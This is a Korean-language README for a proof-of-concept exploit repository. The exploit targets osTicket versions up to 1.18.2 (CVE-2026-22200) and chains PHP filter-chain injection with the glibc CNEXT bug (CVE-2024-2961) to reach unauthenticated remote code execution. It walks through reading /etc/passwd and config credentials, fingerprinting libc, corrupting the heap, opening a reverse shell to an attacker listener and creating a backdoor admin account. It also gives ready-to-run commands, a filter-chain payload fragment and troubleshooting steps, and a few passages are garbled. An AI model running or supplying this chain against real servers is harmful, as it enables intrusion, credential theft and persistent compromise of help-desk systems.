
PHP 필터 체인 인젝션과 CVE-2024-2961 (CNEXT)을 결합한 전체 체인 익스플로잇으로, 취약한 osTicket 설치에서 인증 없이 원격 코드 실행을 가능하게 합니다.
PHP 필터 체인 주입과 CVE-2024-2961(CNEXT)을 결합한 전체 체인 익스플로잇으로, 취약한 osTicket 설치에서 인증 없이 원격 코드 실행을 수행합니다.
이 저장소는 CVE-2026-22200에 대한 개념 증명 익스플로잇을 포함하며, 이는 osTicket 버전 ≤ 1.18.2에 영향을 미치는 심각한 취약점입니다. 이 익스플로잇은 두 가지 강력한 기술을 연쇄적으로 사용합니다:
결과: 취약한 osTicket 서버에서 인증 없는 원격 코드 실행.
CVSS 점수: 9.8 (심각)
osTicket의 mPDF 통합은 인증되지 않은 사용자가 지원 티켓에 특수 조작된 HTML 페이로드를 통해 악성 PHP 필터 체인을 주입할 수 있게 합니다. 이를 통해 다음이 가능합니다:
근본 원인: mPDF에 전달되기 전에 사용자 제공 HTML의 이미지 URL에 대한 검증 부족.
CVSS 점수: 9.8 (심각)
glibc의 iconv()에서 ISO-2022-CN-EXT 문자 집합을 처리할 때 발생하는 버퍼 오버플로우입니다. PHP 필터 체인과 결합하여 다음이 가능합니다:
취약한 glibc 버전: < 2.39 (2024년 2월)
┌─────────────────────────────────────────────────────────────────┐
│ 1. 정찰 │
│ └─ osTicket 탐지, 리치 텍스트 주제 식별 │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. 인증 │
│ └─ 자체 등록 OR 기존 자격 증명 사용 │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. 파일 유출 (PHP 필터 체인) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (DB 자격 증명, SECRET_SALT) │
│ ├─ /proc/self/maps (메모리 레이아웃) │
│ └─ /proc/self/environ (환경 변수) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. LIBC 지문 인식 │
│ ├─ 필터 체인을 통해 부분 libc 추출 │
│ ├─ GNU 빌드 ID 추출 │
│ └─ libc.rip에서 전체 libc 다운로드 │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. CNEXT RCE 공격 │
│ ├─ 힙 손상 페이로드 생성 │
│ ├─ (필터 실행 수정 포함) 티켓 답변을 통해 주입 │
│ ├─ PDF 내보내기를 통해 트리거 (서버 충돌) │
│ └─ 리버스 셸 실행 │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. 사후 공격 │
│ ├─ 대화형 리버스 셸 │
│ ├─ (유출된 DBPASS를 사용한) 데이터베이스 접근 │
│ └─ 백도어 관리자 계정 생성 │
└─────────────────────────────────────────────────────────────────┘
# 저장소 클론
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# 필요한 패키지 설치
pip install -r requirements.txt
requirements.txt:
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# 또는
venv\Scripts\activate # Windows
pip install -r requirements.txt
# 터미널 1: 리스너 시작
nc -lvnp 4444
# 터미널 2: 익스플로잇 실행
python3 osticket_revshell.py https://target.com/osticket \
--lhost YOUR_IP \
--lport 4444
python3 osticket_exploit.py https://target.com/osticket
# 프록시 사용 (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080
# 특정 도움말 주제 ID 강제 지정
python3 osticket_exploit.py https://target.com/osticket \
--topic-id 2
# 색상 출력 비활성화 (로깅용)
python3 osticket_exploit.py https://target.com/osticket --no-color
등록이 비활성화된 경우 자격 증명을 묻는 메시지가 표시됩니다:
python3 osticket_exploit.py https://target.com/osticket
[?] 새 계정 이메일 입력 (또는 기존): [email protected]
[?] 비밀번호 입력: ********
익스플로잇은 정교한 필터 체인을 사용하여 임의 파일 앞에 BMP 헤더를 추가하여 mPDF의 파일 형식 제한을 우회합니다:
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 50+ iconv 변환 ...]
convert.base64-decode/resource=/etc/passwd
핵심 혁신: BMP 헤더의 각 문자는 신중하게 설계된 iconv 변환을 통해 생성되어 임의 파일 내용을 "유효한" 이미지로 포함시킬 수 있습니다.
CNEXT 페이로드는 다음을 통해 PHP의 Zend 메모리 관리자를 손상시킵니다:
劄로 iconv 버퍼 오버플로우향상된 신뢰성:
劄)원본 익스플로잇과 달리 이 버전은 파일 시스템 스캔을 사용하여 웹셸 위치를 보장합니다:
결과: 100% 탐지율 (원본의 ~50% 대비)
일반적인 실패: PDF가 다운로드되지만 충돌하지 않음 = 필터가 실행되지 않음.
구현된 해결책:
stream=True가 즉시 처리를 강제# 상세 모드에서 확인:
[*] 대상 libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31은 CNEXT에 취약함
glibc ≥ 2.39인 경우 CNEXT가 작동하지 않습니다 (패치됨).
증상: 서버가 충돌하지만 리버스 셸 없음
원인:
수정:
# nc 리버스 셸 사용 (더 짧음)
# bash/python이 너무 긴 경우 자동으로 대체
# 또는 호스트명 대신 직접 IP 사용
python3 osticket_revshell.py https://target.com \
--lhost 10.0.0.5 \ # 호스트명 대신 IP 사용
--lport 4444
| 오류 | 원인 | 해결책 |
|---|---|---|
CSRF 토큰 없음 | 세션 만료 | 익스플로잇 재실행 |
도움말 주제 없음 | 리치 텍스트 주제 없음 | 수동으로 --topic-id 사용 |
빌드 ID를 찾을 수 없음 | 부분 libc 손상 | /proc/self/maps 추출 확인 |
힙을 찾을 수 없음 | 비정상적인 메모리 레이아웃 | 익스플로잇 실패 가능 (드물게) |